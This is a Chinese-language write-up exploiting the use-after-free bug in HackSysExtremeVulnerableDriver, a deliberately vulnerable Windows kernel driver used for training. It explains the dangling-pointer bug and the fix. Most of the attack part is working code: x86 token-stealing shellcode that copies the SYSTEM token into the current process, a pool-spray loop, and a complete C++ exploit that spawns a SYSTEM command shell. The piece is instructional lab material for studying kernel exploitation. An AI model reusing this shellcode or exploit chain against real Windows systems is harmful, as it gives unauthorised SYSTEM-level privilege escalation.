漏洞原理:
UAF原理:
Use After Free,当一个内存块被释放之后再次被使用
申请出一个堆块保存在一个指针中,在释放后,没有将该指针清空,形成了一个悬挂指针(danglingpointer),而后再申请出堆块时会将刚刚释放出的堆块申请出来,并复写其内容,而悬挂指针此时仍然可以使用,使得出现了不可控的情况。攻击者一般利用该漏洞进行函数指针的控制,从而劫持程序执行流。
提权原理:
运行一个cmd断下来用!dml_proc命令查看当前进程列表
kd> !dml_proc
Address PID Image file name
86af0798 4 System
876edba0 fc smss.exe
87e01860 148 csrss.exe
87f975b0 180 csrss.exe
87f9a450 1a0 wininit.exe
.......................
88409570 a44 cmd.exe
Systemd的地址是86af0798 PID是4(SYSTEM在所有系统PID都为4)
cmd地址是88409570 PID是0xa44
每个进程都有一个 EPROCESS 结构,里面保存着进程的各种信息,和相关结构的指针。
在WinDBG中使用dt nt!_EPROCESS可以看到该结构
kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
+0x0dc PeakVirtualSize : Uint4B
+0x0e0 VirtualSize : Uint4B
+0x0e4 SessionProcessLinks : _LIST_ENTRY
+0x0ec DebugPort : Ptr32 Void
+0x0f0 ExceptionPortData : Ptr32 Void
+0x0f0 ExceptionPortValue : Uint4B
+0x0f0 ExceptionPortState : Pos 0, 3 Bits
+0x0f4 ObjectTable : Ptr32 _HANDLE_TABLE
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : Uint4B
+0x100 AddressCreationLock : _EX_PUSH_LOCK
............................................
在偏移为0x0f8的地方可以找到我们需要的Token,使用dt nt!_EX_FAST_REF看这个结构体的细节
kd> dt nt!_EX_FAST_REF
+0x000 Object : Ptr32 Void
+0x000 RefCnt : Pos 0, 3 Bits
+0x000 Value : Uint4B
所以我们使用命令dt nt!_EX_FAST_REF 进程地址+F8就可以得到想要进程的Token
kd> dt nt!_EX_FAST_REF 86af0798+f8(System)
+0x000 Object : 0x8da01276 Void
+0x000 RefCnt : 0y110
+0x000 Value : 0x8da01276---(Value就是Token的值)
kd> dt nt!_EX_FAST_REF 88409570+f8(cmd.exe)
+0x000 Object : 0x9b7b3432 Void
+0x000 RefCnt : 0y010
+0x000 Value : 0x9b7b3432---(Value就是Token的值)
我们通过ed命令修改cmd token的值为system token
提权成功
尝试将上述操作转变为汇编,主要思路将当前EPROCESS结构中的Token替换为Sys的Token
在Windows系统中,处理器信息被存储在内核处理器控制区域(KPCR)数据结构中。KPCR结构总是使用FS段寄存器进行索引,在Windows x86中为FS:[0]
在KPCR数据结构中,标识了指向内核处理器控制块(KPRCB)数据结构的指针。KPRCB结构体拥有内核资源管理所需的大部分信息。里面的第四个字节指向CurrentThread
这样fs:[124h]其实是指向当前线程的_KTHREAD
我们要找的是指向KAPC_STATE数据结构的ApcState成员的偏移量。
KAPC_STATE数据结构用于线程查找其关联的进程,这个成员含有一个指向KPROCESS数据结构的指针,我们要找的便是这个,再通过这个去找EPROCESS中的Token,那我们找token的流程便是:
fs:124h——->fs:[124h]+0x50->[fs:[124h]+0x50]+0xf8(Token)
void Shellcode{
_asm{
pushad
mov eax,fs:[124h]//当前线程的_KTHREAD
mov eax,[eax+0x50]//eax = _KPROCESS也就是_EPROCESS
mov ecx,eax
mov edx,4//SysPid = 4
find_sys_pid:
mov eax,[eax+0xb8]//ActiveProcessLinks
sub eax,0xb8//遍历
cmp[eax + 0xb4], edx//PID?=4
jnz find_sys_pid
mov edx,[eax+0xf8]
mov [ecx+0xf8],edx
popad
ret
}
}
源码分析:
源码分为4个部分,分别是AllocateUaFObject、UseUaFObject、FreeUaFObject、AllocateFakeObject
AllocateUaFObject
NTSTATUS AllocateUaFObject() {
NTSTATUS Status = STATUS_SUCCESS;
PUSE_AFTER_FREE UseAfterFree = NULL;
PAGED_CODE();
__try {
DbgPrint("[+] Allocating UaF Object\n");
// Allocate Pool chunk
UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool,
sizeof(USE_AFTER_FREE),
(ULONG)POOL_TAG);
if (!UseAfterFree) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE));
DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
}
// Fill the buffer with ASCII 'A'
RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
// Null terminate the char buffer
UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';
// Set the object Callback function
UseAfterFree->Callback = &UaFObjectCallback;
// Assign the address of UseAfterFree to a global variable
g_UseAfterFreeObject = UseAfterFree;
DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
函数先使用ExAllocatePoolWithTag申请一块这样的内存,填充上A,以0终止
UseUaFObject
NTSTATUS UseUaFObject() {
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
__try {
if (g_UseAfterFreeObject) {
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
DbgPrint("[+] Calling Callback\n");
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();
}
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
这个函数使用悬挂指针,当我们对Callback进行替换后,再次使用函数指针时,会导致控制流的劫持。
FreeUaFObject
NTSTATUS FreeUaFObject() {
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
__try {
if (g_UseAfterFreeObject) {
DbgPrint("[+] Freeing UaF Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);
#ifdef SECURE
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
g_UseAfterFreeObject = NULL;
#else
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
#endif
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
可以看到如果是安全的版本下使用完ExFreePoolWithTag后则将g_UseAfterFreeObject设置为NULL,而在易受攻击的版本将只使用ExFreePoolWithTag,这将留下对之前悬空指针的引用
AllocateFakeObject
NTSTATUS AllocateFakeObject(IN PFAKE_OBJECT UserFakeObject) {
NTSTATUS Status = STATUS_SUCCESS;
PFAKE_OBJECT KernelFakeObject = NULL;
PAGED_CODE();
__try {
DbgPrint("[+] Creating Fake Object\n");
// Allocate Pool chunk
KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,
sizeof(FAKE_OBJECT),
(ULONG)POOL_TAG);
if (!KernelFakeObject) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT));
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
}
// Verify if the buffer resides in user mode
ProbeForRead((PVOID)UserFakeObject, sizeof(FAKE_OBJECT), (ULONG)__alignof(FAKE_OBJECT));
// Copy the Fake structure to Pool chunk
RtlCopyMemory((PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT));
// Null terminate the char buffer
KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';
DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
typedef struct _FAKE_OBJECT {
CHAR Buffer[0x58];
} FAKE_OBJECT, *PFAKE_OBJECT;
该函数再次申请堆块,申请出一个与USE_AFTER_FREE同样大小的FAKE_OBJECT结构体,再次申请出来的FAKE结构体与之前的结构体是同一块内存
漏洞利用:
如果我们一开始申请堆的大小和UAF中堆的大小相同,那么就可能申请到我们的这块内存,假如我们又提前构造好了这块内存中的数据,那么当最后释放的时候就会指向我们shellcode的位置,从而达到提取的效果。用堆喷射技术来保证申请到用的这一块内存。
typedef struct _FAKE_USE_AFTER_FREE
{
FunctionPointer countinter;
char bufffer[0x54];
}FAKE_USE_AFTER_FREE, * PUSE_AFTER_FREE;
在函数申请内存并释放后,先进行环境的伪装
//申请假的chunk
PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
//指向我们的shellcode
fakeG_UseAfterFree->countinter = ShellCode;
//用A填满该chunk
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
池喷射
先申请10000个填满碎片
再申请的5000个会是连续的
再从后面的5000里间隔一个释放一个
这样就会有好多0x60字节大小的地方不会被合并 也肯定能覆盖到第一次申请的地方
假设想要被分配的POOL的大小是258.操作系统会去选取最适合258(>=)的空闲POOL位置来存放他,看一下我们的UAF(假设已经成功)POOL的大小. 我们申请一个和他一模一样的POOL. 有一定的概率使我们分配后的POOL的刚好是这个地方呢. 答案是肯定的. 但是有一个问题. 一定的概率. 我们希望我们的利用代码能够更加的稳定. 假设此时操作一共有X个大小的空闲区域. 我们的概率是1/X, 分配两个是2/X, 不断增加.
// 喷射
printf("***********************************\n");
printf("Start to heap spray...\n");
for (int i = 0; i < 5000; i++)
{
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
最后调用一个cmd看看是否提权成功
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
补丁:
#ifdef SECURE
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
g_UseAfterFreeObject = NULL;
#else
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
下面是在UseUaFObject()函数中的修复方案,加个NULL的判断
if(g_UseAfterFreeObject != NULL)
{
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();
}
}
Exp:
// ConsoleApplication1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include<stdio.h>
#include<Windows.h>
/************************************************************************/
/* Write by Thunder_J 2019.6 */
/************************************************************************/
typedef void(*FunctionPointer) ();
typedef struct _FAKE_USE_AFTER_FREE
{
FunctionPointer countinter;
char bufffer[0x54];
}FAKE_USE_AFTER_FREE, * PUSE_AFTER_FREE;
void ShellCode()
{
_asm
{
nop
pushad
mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// 循环是为了获取system的_EPROCESS
find_sys_pid :
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
ret
}
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main()
{
DWORD recvBuf;
// 获取句柄
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("获取句柄失败\n");
return 0;
}
// 调用 AllocateUaFObject() 函数申请内存
printf("Start to call AllocateUaFObject()...\n");
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
// 调用 FreeUaFObject() 函数释放对象
printf("Start to call FreeUaFObject()...\n");
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
printf("Start to write shellcode()...\n");
//申请假的chunk
PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
//指向我们的shellcode
fakeG_UseAfterFree->countinter = ShellCode;
//用A填满该chunk
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
// 堆喷射
printf("***********************************\n");
printf("Start to heap spray...\n");
for (int i = 0; i < 5000; i++)
{
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
// 调用 UseUaFObject() 函数
printf("Start to call UseUaFObject()...\n");
DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);
printf("Start to create cmd...\n");
CreateCmd();
return 0;
}